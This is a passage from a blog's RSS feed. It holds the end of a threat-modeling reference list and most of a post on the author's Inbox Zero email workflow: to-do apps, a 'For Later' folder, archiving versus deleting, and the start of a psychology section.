  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;18&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://threatmodeler.com/operational-application-threat-modeling/&quot;&gt;Application Threat Modeling vs Operational Threat Modeling | ThreatModeler&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;19&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.spiceworks.com/it-security/vulnerability-management/articles/top-threat-modeling-tools/&quot;&gt;Top 10 Threat Modeling Tools in 2021&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;20&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://csrc.nist.gov/glossary/&quot;&gt;NIST CSRC Glossary&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;21&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://csrc.nist.gov/publications/detail/sp/800-154/draft&quot;&gt;NIST SP 800-154: Guide to Data-Centric System Threat Modeling&lt;/a&gt; &lt;a href=&quot;https://csrc.nist.gov/CSRC/media/Publications/sp/800-154/draft/documents/sp800_154_draft.pdf&quot;&gt;&lt;i class=&quot;ph ph-file-text&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;22&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://owasp.org/www-community/Threat_Modeling_Process&quot;&gt;Threat Modeling Process | OWASP&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;23&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.mitre.org/publications/technical-papers/threat-assessment-and-remediation-analysis-tara&quot;&gt;Threat Assessment and Remediation Analysis (TARA) | MITRE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;24&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Threat-Driven-Approach.pdf&quot;&gt;IDDIL/ATC | Lockheed Martin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;25&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://resources.sei.cmu.edu/library/asset-view.cfm?assetid=516617&quot;&gt;Hybrid Threat Modeling Method (hTMM) | SEI&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;26&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.348.6943&amp;amp;rep=rep1&amp;amp;type=pdf&quot;&gt;Privacy-by-Design Based on Quantitative Threat Modeling (QTMM)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;27&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;http://securitycards.cs.washington.edu/index.html&quot;&gt;The Security Cards&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;28&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://docs.microsoft.com/en-us/archive/blogs/david_leblanc/dreadful&quot;&gt;DREADful | David LeBlanc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;29&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=6834694&quot;&gt;How Well Do You Know Your Personae Non Gratae&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;30&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.rapid7.com/fundamentals/compliance-regulatory-frameworks/&quot;&gt;Compliance and Regulatory Frameworks | Rapid7&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;31&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.itgovernanceusa.com/compliance&quot;&gt;Governance and Regulatory Compliance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;32&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.omadahealth.com/hubfs/nodirt.pdf&quot;&gt;INCLUDES NO HEALTH | omada health&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;33&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://github.com/Autodesk/continuous-threat-modeling&quot;&gt;Continuous Threat Modeling (CTM) | Autodesk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;34&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.diva-portal.org/smash/get/diva2:1463788/FULLTEXT01.pdf&quot;&gt;A Process for Threat Modeling of Large-Scale Computer Systems | KTH&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;35&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://versprite.com/blog/application-security/threat-modeling/organizational-threat-model-enterprise-risk-assessment/&quot;&gt;OTM: Organizational Threat Model | VerSprite&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;&lt;sup&gt;36&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;http://www.pentest-standard.org/index.php/Threat_Modeling&quot;&gt;Penetration Testing Execution Standard (PTES)&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/hysnsec/awesome-threat-modelling&quot;&gt;Awesome Threat Modeling | Github&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.blog/2020-09-02-how-we-threat-model/&quot;&gt;GitHub - How we threat model&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/Threat_Modeling&quot;&gt;Threat Modeling | OWASP&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://insights.sei.cmu.edu/blog/threat-modeling-12-available-methods/&quot;&gt;Threat Modeling: 12 Available Methods | Software Engineering Institute&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mitre.org/sites/default/files/publications/pr_18-1174-ngci-cyber-threat-modeling.pdf&quot;&gt;Cyber Threat Modeling: Survey, Assessment, and Representative Framework | MITRE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shostack.org/books/threat-modeling-book&quot;&gt;Threat Modeling: Designing for Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.103.2997&amp;amp;rep=rep1&amp;amp;type=pdf&quot;&gt;SECURITY THREAT MODELING AND ANALYSIS: A GOAL-ORIENTED APPROACH&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://resources.sei.cmu.edu/library/asset-view.cfm?assetid=7657&quot;&gt;Security Quality Requirements Engineering (SQUARE) Technical Report&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.theseus.fi/bitstream/handle/10024/220967/Selin_Juuso.pdf?sequence=2&quot;&gt;Evaluation of Threat Modeling Methodologies: A Case Study&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://media10.connectedsocialmedia.com/intel/10/5725/Intel_IT_Business_Value_Prioritizing_Info_Security_Risks_with_TARA.pdf&quot;&gt;Threat Agent Risk Assessment (TARA) | Intel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ten-inc.com/presentations/invincea1.pdf&quot;&gt;Invincea Threat Model&lt;/a&gt; - An Adversary Model for Mastering Cyber-Defense Strategies&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://simoneonsecurity.com&quot;&gt;Simone On Security&lt;/a&gt; - Threat Modeling-heavy blog resource&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://simoneonsecurity.files.wordpress.com/2021/03/evolving-threat-modeling.pdf&quot;&gt;Evolving Threat Modeling for Agility and Business Value&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.researchgate.net/publication/233644703_Mission_Oriented_Risk_and_Design_Analysis_of_Critical_Information_Systems&quot;&gt;MORDA: Mission Oriented Risk and Design Analysis of Critical Information Systems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=N5icvgTyg7k&quot;&gt;The B-MAD Approach to Threat Modeling&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://segment.com/blog/redefining-threat-modeling/&quot;&gt;Threat Modeling Redefined: The Self-Serve Threat Model | Segment (Utopia)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shostack.org/files/essays/uncover/&quot;&gt;Uncover Security Design Flaws Using the STRIDE Approach&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/arnepadmos/threats/&quot;&gt;Assorted threat modelling methods | arnepadmos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.threatmodelingconnect.com&quot;&gt;Threat Modeling Connect&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/security/blog/2026/02/26/threat-modeling-ai-applications/&quot;&gt;Threat modeling AI applications&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sat, 30 Jul 2022 03:50:00 -0400</pubDate>
        <link>https://shellsharks.com/threat-modeling</link>
        <guid isPermaLink="true">https://shellsharks.com/threat-modeling</guid>
        
        <category>infosec</category>
        
        <category>threatmodeling</category>
        
        <category>technical</category>
        
        <category>bestof</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>The Science of Inbox Zero</title>
        <shark:summary><p>Welcome to <strong>Part Two</strong> of my <a href="https://shellsharks.com/tags?tag=inboxzero">Inbox Zero series</a>! In <strong><a href="https://shellsharks.com/inbox-zero#title">Part One</a></strong>, I introduced the concept of <a href="https://www.youtube.com/watch?v=z9UjeTMb3Yk">Inbox Zero</a> (specifically, <em>my flavor of it</em>) and enumerated the <a href="https://shellsharks.com/inbox-zero#lets-zero-it-out">steps</a> I take to zero-out my inbox day-to-day. In this follow-up, I will cover some of the specific, <a href="#practical-mechanics">practical mechanics</a> of how I execute my Inbox Zero playbook. I also provide the scientific basis in which this methodology has a very real, positive <a href="#psychology">psychological</a> effect, improving efficiency, productivity and happiness.</p>
</shark:summary>
        <description>&lt;p&gt;Welcome to &lt;strong&gt;Part Two&lt;/strong&gt; of my &lt;a href=&quot;https://shellsharks.com/tags?tag=inboxzero&quot;&gt;Inbox Zero series&lt;/a&gt;! In &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/inbox-zero#title&quot;&gt;Part One&lt;/a&gt;&lt;/strong&gt;, I introduced the concept of &lt;a href=&quot;https://www.youtube.com/watch?v=z9UjeTMb3Yk&quot;&gt;Inbox Zero&lt;/a&gt; (specifically, &lt;em&gt;my flavor of it&lt;/em&gt;) and enumerated the &lt;a href=&quot;https://shellsharks.com/inbox-zero#lets-zero-it-out&quot;&gt;steps&lt;/a&gt; I take to zero-out my inbox day-to-day. In this follow-up, I will cover some of the specific, &lt;a href=&quot;#practical-mechanics&quot;&gt;practical mechanics&lt;/a&gt; of how I execute my Inbox Zero playbook. I also provide the scientific basis in which this methodology has a very real, positive &lt;a href=&quot;#psychology&quot;&gt;psychological&lt;/a&gt; effect, improving efficiency, productivity and happiness.&lt;/p&gt;

&lt;h6 id=&quot;jump-to-section&quot;&gt;Jump to Section&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#practical-mechanics&quot;&gt;Practical Mechanics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#email-processing-flow&quot;&gt;Email Process(ing) Flow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#psychology&quot;&gt;Psychology&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#references&quot;&gt;References&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;*&lt;em&gt;A shoutout to my wife, for which I owe my inspiration for doing this research and writing this post. I’ll convert you one way or another!&lt;/em&gt;&lt;/p&gt;

&lt;center&gt;
&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/inboxzero.png&quot; alt=&quot;Inbox Zero&quot; /&gt;
&lt;/center&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;practical-mechanics&quot;&gt;Practical Mechanics&lt;/h1&gt;
&lt;p&gt;In my &lt;a href=&quot;https://shellsharks.com/inbox-zero#title&quot;&gt;previous post&lt;/a&gt; on Inbox Zero, I introduce a number of concepts and steps for &lt;em&gt;zeroing out&lt;/em&gt; an inbox, but notably absent are some of the specifics on &lt;em&gt;how&lt;/em&gt; I actually do it. In this section, I cover the tooling, procedures and other variables I use to churn through my email.&lt;/p&gt;

&lt;p&gt;In the sections below, I cover a variety of techniques, specifics and examples for steps &lt;strong&gt;3&lt;/strong&gt; (&lt;em&gt;Take Action&lt;/em&gt;), &lt;strong&gt;4&lt;/strong&gt; (&lt;em&gt;Save For Later&lt;/em&gt;) and &lt;strong&gt;5&lt;/strong&gt;/&lt;strong&gt;6&lt;/strong&gt; (&lt;em&gt;Archive&lt;/em&gt;/&lt;em&gt;Delete&lt;/em&gt;) of my previously detailed &lt;a href=&quot;https://shellsharks.com/inbox-zero#lets-zero-it-out&quot;&gt;zeroing-out methodology&lt;/a&gt;. Steps &lt;strong&gt;1&lt;/strong&gt; (&lt;em&gt;Unsubscribe&lt;/em&gt;) and &lt;strong&gt;2&lt;/strong&gt; (&lt;em&gt;Consume&lt;/em&gt;) are pretty simple so I really don’t have anything else of substance to add.&lt;/p&gt;

&lt;h5 id=&quot;taking-action&quot;&gt;Taking Action&lt;/h5&gt;
&lt;p&gt;To succeed with Inbox Zero, it is crucial to attack emails with a very action-oriented mindset. Email can not be allowed to live rent-free in your inbox or in your head. If we’re not unsubscribing, easily-consuming, archiving or deleting email right away it’s important to ask ourselves, “&lt;em&gt;what needs to be done to&lt;/em&gt; &lt;strong&gt;complete&lt;/strong&gt; &lt;em&gt;this email&lt;/em&gt;”. Some techniques I employ are described below…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Augment your inbox with a to-do system&lt;/strong&gt;: Riding side-saddle to my inbox, I rely on my trusty &lt;a href=&quot;https://todoist.com/&quot;&gt;to-do app&lt;/a&gt; to help me remember and prioritize items. Email apps are &lt;strong&gt;very ineffective&lt;/strong&gt; to-do apps &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; and thus shouldn’t be used as one, but your inbox &lt;em&gt;does generate&lt;/em&gt; a lot of to-do’s! Naturally then, it makes sense to &lt;em&gt;create&lt;/em&gt; a “to-do” for respective items in your inbox. By doing this, you can move an email out of your main inbox and into an appropriate folder, whether that be the “For Later” folder &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;https://shellsharks.com/inbox-zero#lets-zero-it-out&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; or somewhere else. With a stub for that email now in your to-do app, you can safely have it out of your inbox and take care of it based on your own to-do methodology (more on this later &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;11&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;).&lt;/p&gt;

    &lt;p&gt;As an example, let’s say you get an email from your dentist, reminding you to schedule your six-month cleaning. Rather than leaving it in the inbox, I would create an item in my to-do app with a subject such as “schedule 6-month dentist appointment”, then I’d &lt;em&gt;delete&lt;/em&gt; the email! If there is information in the email I need to help schedule the appointment, I could &lt;em&gt;instead&lt;/em&gt; move the email to the “For Later” folder rather than deleting it. Once I’ve completed the task, I could then go back into that folder and delete it for good.&lt;/p&gt;

    &lt;p&gt;I personally take this approach to a particular extreme. For emails that require a substantive task to be completed (i.e. not just consuming information), I will &lt;em&gt;often&lt;/em&gt; create a to-do, even if I can complete it right away! The very act of creating the to-do and then marking it as complete has a &lt;a href=&quot;#psychology&quot;&gt;psychologically-positive&lt;/a&gt; effect. Checking things off, no matter how small, can help build productive momentum &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;12&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;. Just be sure to not overdo it here as creating endless tiny to-dos would certainly introduce counter-productive overhead when done at scale.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Stars and flags&lt;/strong&gt;: Email systems usually have the concept of &lt;em&gt;&lt;a href=&quot;https://support.google.com/mail/answer/5904&quot;&gt;starring&lt;/a&gt;&lt;/em&gt; or &lt;em&gt;&lt;a href=&quot;https://support.apple.com/guide/mail/flag-emails-mlhlp1052/mac&quot;&gt;flagging&lt;/a&gt;&lt;/em&gt; an email as a way to denote its relative importance. If you follow the guidance from the previous bullet (creating to-do’s associated with emails and tackling them that way) then you &lt;em&gt;technically&lt;/em&gt; don’t &lt;em&gt;really&lt;/em&gt; need to utilize stars/flags as you would be taking things &lt;em&gt;out&lt;/em&gt; of email and prioritizing them in your to-do system instead. With that said, I still star things in my email app as it does add that extra bit of emphasis and urgency for certain emails that I know I need to get to.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;The power of delegation&lt;/strong&gt;: Delegation is an under-utilized action in the world of people’s personal email (and to-do methodologies in general). There is plenty of email I receive that in order to fully “take action” on it, there is a dependency on someone else.&lt;/p&gt;

    &lt;p&gt;As an example, I may get an email about picking something up from the store but need to coordinate with my wife on when to go. In this case, the dependency is getting a response from my wife about it. Here I could forward the email to my wife (or text her), suggesting a time for me to go pick it up. Now I can move this email to “For Later” as it doesn’t require any additional action from me. Further, I can create a task in my to-do with a subject such as “pick up the thing from the store”. Here I took decisive action on the email, I progressed the task and most importantly, I got one email closer to Inbox Zero!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Inbox checking frequency&lt;/strong&gt;: This is entirely up to you and really just depends on your own philosophy around “disconnecting”. With that said, depending on the volume of email you receive, I recommend checking it &lt;em&gt;somewhat&lt;/em&gt; frequently in order to be able to process it in smaller chunks. (&lt;a href=&quot;#psychology&quot;&gt;More on this later&lt;/a&gt;.)&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;saving-for-later&quot;&gt;Saving for Later&lt;/h5&gt;
&lt;p&gt;&lt;em&gt;OK&lt;/em&gt;, so as we have seen in the &lt;a href=&quot;#taking-action&quot;&gt;previous section&lt;/a&gt;, a lot of what “taking action” means in reality is in fact &lt;strong&gt;not&lt;/strong&gt; taking &lt;em&gt;immediate&lt;/em&gt; action but rather storing the respective item for action at a later date. There are a few techniques &lt;em&gt;I use&lt;/em&gt; for this. You can use one or more of these simultaneously to help stay on top of what you need to do while also keeping that inbox shiny and clean.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;The enigmatic “For Later” folder&lt;/strong&gt;: I put a fair amount of things in my &lt;em&gt;notorious&lt;/em&gt; “For Later” folder &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;https://shellsharks.com/inbox-zero#lets-zero-it-out&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; - and for a &lt;em&gt;variety&lt;/em&gt; of reasons. One could argue, “&lt;em&gt;why is having a bunch of stuff in a separate For Later folder better than just keeping it in your inbox?”&lt;/em&gt; I’ll cover the &lt;a href=&quot;#psychology&quot;&gt;psychological benefits&lt;/a&gt; of this concept later, but let me start with explaining the more mechanical benefits.&lt;/p&gt;

    &lt;p&gt;It’s undeniable that there is &lt;em&gt;some amount&lt;/em&gt; of time required to mentally process/initially-triage emails within your inbox. As you work through your inbox - deleting, archiving, consuming, &lt;em&gt;whatever&lt;/em&gt; - you spend some time on each. By leaving an email in your inbox (rather than taking an action that would remove it from your inbox), you open yourself up to having to mentally re-assess that item as it now lies adjacent to a new (or otherwise un-processed) email that &lt;em&gt;actually&lt;/em&gt; requires fresh review. Rather than forcing yourself to reassess these emails each and every time you check your inbox, simply move them to the “For Later” folder and then review &lt;em&gt;that&lt;/em&gt; folder at a less-frequent cadence (more on this interval below!)&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;&lt;strong&gt;“For Later” folder checking frequency&lt;/strong&gt;:  &lt;em&gt;OK&lt;/em&gt;, so let’s say we are moving things into the “For Later” folder - how often should we then consult this folder? Ultimately, I believe this would vary from person to person and it in some ways depends on the frequency in which someone generally checks their inbox. I check my inbox multiple times daily, but I only check “For Later” every couple of days &lt;em&gt;at most&lt;/em&gt;. Here you can immediately see the time savings as I am not needing to review these each and every time I check my inbox! The idea here is to check it at a &lt;em&gt;much less&lt;/em&gt; frequent interval. If you find yourself checking it often and generally taking no actions, you can probably check it &lt;em&gt;less&lt;/em&gt; frequently! With all this said, there’s an even better way to deal with most “For Later” items. (&lt;em&gt;Check out the next bullet&lt;/em&gt;!)&lt;/p&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;&lt;strong&gt;For Later triggers&lt;/strong&gt;: Once we start sticking lots of things in “For Later” rather than keeping them in the inbox, we could really benefit from a system that helps us remember to review those items while also not necessitating needless checking of each email in that folder when no action is yet needed. So how do we achieve this? Well, in a few ways!&lt;/p&gt;

        &lt;ul&gt;
          &lt;li&gt;We previously covered creating corresponding to-do tasks for emails in the &lt;a href=&quot;#taking-action&quot;&gt;taking action&lt;/a&gt; section. If you are leveraging this technique, you can close out “For Later” email items at the same time you close out to-do items based on your chosen to-do methodology. &lt;em&gt;Sweet!&lt;/em&gt;&lt;/li&gt;
          &lt;li&gt;As another example, let’s say you have a “For Later” email for a delivery you are expecting that you want to make sure you receive. In this case, I have a &lt;a href=&quot;https://deliveries.app/en.html&quot;&gt;delivery tracking app&lt;/a&gt; that monitors the progress of my delivery. Once I receive it, I can archive/delete that email in my “For Later” box.&lt;/li&gt;
          &lt;li&gt;&lt;em&gt;Essentially&lt;/em&gt;, the idea behind the &lt;em&gt;majority&lt;/em&gt; of “For Later” items is that there should be an external trigger that fires, reminding you to consult the “For Later” box and “close out” or make progress towards closure, of the email item.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;&lt;strong&gt;When to take substantive action&lt;/strong&gt;: How do I decide whether to take substantive action vs setting it aside &lt;em&gt;for later&lt;/em&gt;? I don’t think there is a real amount-of-time threshold for how I decide when to deal with things (the “Two Minute Rule” &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;10&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; we will &lt;a href=&quot;#psychology&quot;&gt;discuss later&lt;/a&gt; pegs the threshold at, you guessed it! - &lt;em&gt;2 minutes&lt;/em&gt;). For me, this is more of a, &lt;em&gt;what do I feel like doing right now&lt;/em&gt; or &lt;em&gt;what do I have time to do right now&lt;/em&gt; question. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;11&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;&lt;strong&gt;Don’t leave things in your inbox you will never get to&lt;/strong&gt;! This is a simple axiom. Just get rid of it! (or archive somewhere)&lt;/p&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;&lt;strong&gt;What actually ends up in the “For Later” folder?&lt;/strong&gt;: This will vary person to person, but for me it’s things like tracking number emails, online order confirmations, future travel artifacts/events (e.g. flight/excursion confirmations), assorted to-do’s (that of course have corresponding records in my to-do app), and really any other item that I &lt;em&gt;know&lt;/em&gt; I want to get to eventually but don’t really care when.
&lt;br /&gt;&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;When do I leave things in the inbox?&lt;/strong&gt;: In some cases, I leave things in my inbox rather than moving to the “For Later” folder after triaging. &lt;em&gt;What&lt;/em&gt;?? Isn’t that contrary to what I suggested earlier? &lt;em&gt;Kinda&lt;/em&gt;, but let me explain… I detailed earlier how items that make their way into the “For Later” folder are typically tied to a to-do or some other external trigger. Well if there is an item that &lt;em&gt;doesn’t&lt;/em&gt; have a trigger, or a to-do, and needs to be addressed in relatively short-order, I will sometimes decide to just leave it in my inbox. Alternatively, for items that I want to constantly remind myself of, I leave it in the inbox as my eyes will continually be drawn to it each and every time I check my email.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Snoozing&lt;/strong&gt;: One feature that a lot of email providers have adopted is “&lt;strong&gt;&lt;a href=&quot;https://support.google.com/mail/answer/7622010&quot;&gt;Snooze&lt;/a&gt;&lt;/strong&gt;”. This is a very easy way to move an item &lt;em&gt;for later&lt;/em&gt; based on a chosen time-delay. I use this in cases where I know I need to check in on something at a particular date and don’t want to create a to-do for it instead.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;archival-vs-deletion&quot;&gt;Archival vs Deletion&lt;/h5&gt;
&lt;p&gt;I wanted to provide a quick (list driven, &lt;em&gt;of course&lt;/em&gt;) process flow related to steps &lt;strong&gt;5&lt;/strong&gt;/&lt;strong&gt;6&lt;/strong&gt; from my &lt;a href=&quot;https://shellsharks.com/inbox-zero#lets-zero-it-out&quot;&gt;high-level zero-out playbook&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Once you’ve taken all non-storage/deletion-related actions on an email, follow the following steps for processing.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Do you need this email&lt;/strong&gt;? &lt;em&gt;No?&lt;/em&gt; Delete. &lt;em&gt;Yes?&lt;/em&gt; Go to Step 2.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Do I have an existing folder/label that I can archive this email into&lt;/strong&gt;? &lt;em&gt;Yes&lt;/em&gt;? Put email in that folder. &lt;em&gt;No&lt;/em&gt;? Go to Step 3.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Does it make sense to create a new folder for emails of this type&lt;/strong&gt;? &lt;em&gt;Yes&lt;/em&gt;? Create folder, archive email into the new folder. &lt;em&gt;No&lt;/em&gt;? &lt;em&gt;Generically&lt;/em&gt; &lt;a href=&quot;https://support.google.com/mail/answer/6576&quot;&gt;archive&lt;/a&gt; it rather than deleting it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The idea behind the final flow of Step 3 is that we can archive things “generically” so that we can search for and find things later. By doing so, we do not introduce unnecessary clutter into another folder/label nor will we necessitate the creation of a new folder/label that will never have much in it. &lt;em&gt;Nice&lt;/em&gt;!&lt;/p&gt;

&lt;h2 id=&quot;email-processing-flow&quot;&gt;Email Process(ing) Flow&lt;/h2&gt;
&lt;p&gt;To help illustrate the overall process flow of how I &lt;em&gt;process&lt;/em&gt; my email, I’ve developed the following diagram.&lt;/p&gt;

&lt;center&gt;
&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/EmailProcessFlow.png&quot; alt=&quot;Email Processing Flow&quot; /&gt;
&lt;/center&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;psychology&quot;&gt;Psychology&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Alright&lt;/em&gt;, assuming you read the &lt;a href=&quot;#practical-mechanics&quot;&gt;previous section&lt;/a&gt;, you now know &lt;em&gt;WAY&lt;/em&gt; more about my e-mail processing workflow than any normal human should. Let’s now get into &lt;strong&gt;why&lt;/strong&gt; managing your email in this way is good for you straight-up &lt;em&gt;emotionally&lt;/em&gt;. This section will introduce a variety of semi-isolated topics, associating well and independently researched scientific studies with the relevant qualities of “Inbox Zero”. &lt;em&gt;Buckle up&lt;/em&gt;!&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;If a cluttered &lt;strike&gt;desk&lt;/strike&gt; inbox is a sign of cluttered mind, of what, then, is an organized &lt;strike&gt;desk&lt;/strike&gt; inbox a sign?&lt;/em&gt; &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
  &lt;li&gt;
